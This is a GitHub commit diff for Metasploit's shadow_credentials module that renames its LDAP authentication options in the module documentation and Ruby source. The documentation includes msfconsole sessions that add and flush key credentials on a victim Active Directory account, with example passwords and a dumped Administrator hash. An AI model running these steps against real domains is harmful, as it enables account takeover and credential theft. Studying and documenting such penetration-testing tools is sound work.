Skip to content

Commit 3057f80

Browse files
committed
Update the ldap options for shadow credentials
1 parent c73bffa commit 3057f80

File tree

2 files changed

+34
-21
lines changed

2 files changed

+34
-21
lines changed

documentation/modules/auxiliary/admin/ldap/shadow_credentials.md

Lines changed: 29 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ PropagationFlags : None
6565
## Module usage
6666
1. `use auxiliary/admin/ldap/shadow_credentials`
6767
2. Set the `RHOST` value to a target domain controller
68-
3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges
68+
3. Set the `LDAPUsername` and `LDAPPassword` information to an account with the necessary privileges
6969
4. Set the `TARGET_USER` to the victim account
7070
5. Use the `ADD` action to add a credential entry to the victim account
7171

@@ -109,13 +109,8 @@ Module options (auxiliary/admin/ldap/shadow_credentials):
109109
110110
Name Current Setting Required Description
111111
---- --------------- -------- -----------
112-
DOMAIN no The domain to authenticate to
113-
PASSWORD no The password to authenticate with
114-
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
115-
RPORT 389 yes The target port
116112
SSL false no Enable SSL on the LDAP connection
117113
TARGET_USER yes The target to write to
118-
USERNAME no The username to authenticate with
119114
120115
121116
When ACTION is REMOVE:
@@ -125,6 +120,24 @@ Module options (auxiliary/admin/ldap/shadow_credentials):
125120
DEVICE_ID no The specific certificate ID to operate on
126121
127122
123+
Used when connecting via an existing SESSION:
124+
125+
Name Current Setting Required Description
126+
---- --------------- -------- -----------
127+
SESSION no The session to run this module on
128+
129+
130+
Used when making a new connection via RHOSTS:
131+
132+
Name Current Setting Required Description
133+
---- --------------- -------- -----------
134+
LDAPDomain no The domain to authenticate to
135+
LDAPPassword no The password to authenticate with
136+
LDAPUsername no The username to authenticate with
137+
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
138+
RPORT 389 no The target port
139+
140+
128141
Auxiliary action:
129142
130143
Name Description
@@ -137,12 +150,12 @@ View the full module info with the info, or info -d command.
137150
138151
msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129
139152
rhosts => 20.92.148.129
140-
msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL
141-
domain => MSF.LOCAL
142-
msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy
143-
username => sandy
144-
msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1!
145-
password => Password1!
153+
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldapdomain MSF.LOCAL
154+
ldapdomain => MSF.LOCAL
155+
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldapusername sandy
156+
ldapusername => sandy
157+
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldappassword Password1!
158+
ldappassword => Password1!
146159
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim
147160
target_user => victim
148161
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
@@ -205,7 +218,7 @@ Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661
205218
In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default.
206219

207220
```msf
208-
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
221+
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
209222
[*] Running module against 20.92.148.129
210223
211224
[+] Successfully bound to the LDAP server!
@@ -220,7 +233,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username
220233
Note, however, that attempting to add a second credential will fail under these circumstances:
221234

222235
```msf
223-
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
236+
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
224237
[*] Running module against 20.92.148.129
225238
226239
[+] Successfully bound to the LDAP server!
@@ -240,7 +253,7 @@ for any legitimate user relying on the existing value.
240253
```msf
241254
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush
242255
action => flush
243-
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
256+
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
244257
[*] Running module against 20.92.148.129
245258
246259
[+] Successfully bound to the LDAP server!
@@ -251,7 +264,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username
251264
[*] Auxiliary module execution completed
252265
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
253266
action => add
254-
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
267+
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
255268
[*] Running module against 20.92.148.129
256269
257270
[+] Successfully bound to the LDAP server!

modules/auxiliary/admin/ldap/shadow_credentials.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -67,12 +67,12 @@ def fail_with_ldap_error(message)
6767
def warn_on_likely_user_error
6868
ldap_result = @ldap.get_operation_result.table
6969
if ldap_result[:code] == 50
70-
if (datastore['USERNAME'] == datastore['TARGET_USER'] ||
71-
datastore['USERNAME'] == datastore['TARGET_USER'] + '$') &&
72-
datastore['USERNAME'].end_with?('$') &&
70+
if (datastore['LDAPUsername'] == datastore['TARGET_USER'] ||
71+
datastore['LDAPUsername'] == datastore['TARGET_USER'] + '$') &&
72+
datastore['LDAPUsername'].end_with?('$') &&
7373
['add', 'remove'].include?(action.name.downcase)
7474
print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')
75-
elsif datastore['USERNAME'] == datastore['TARGET_USER'] && !datastore['USERNAME'].end_with?('$')
75+
elsif datastore['LDAPUsername'] == datastore['TARGET_USER'] && !datastore['LDAPUsername'].end_with?('$')
7676
print_warning('By default, only computer accounts can modify their own properties (not user accounts).')
7777
end
7878
end
@@ -235,7 +235,7 @@ def store_cert(pkcs12)
235235
}
236236
create_credential(credential_data)
237237

238-
info = "#{datastore['DOMAIN']}\\#{datastore['TARGET_USER']} Certificate"
238+
info = "#{datastore['LDAPDomain']}\\#{datastore['TARGET_USER']} Certificate"
239239
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
240240
print_status("Certificate stored at: #{stored_path}")
241241
end

0 commit comments

Comments
 (0)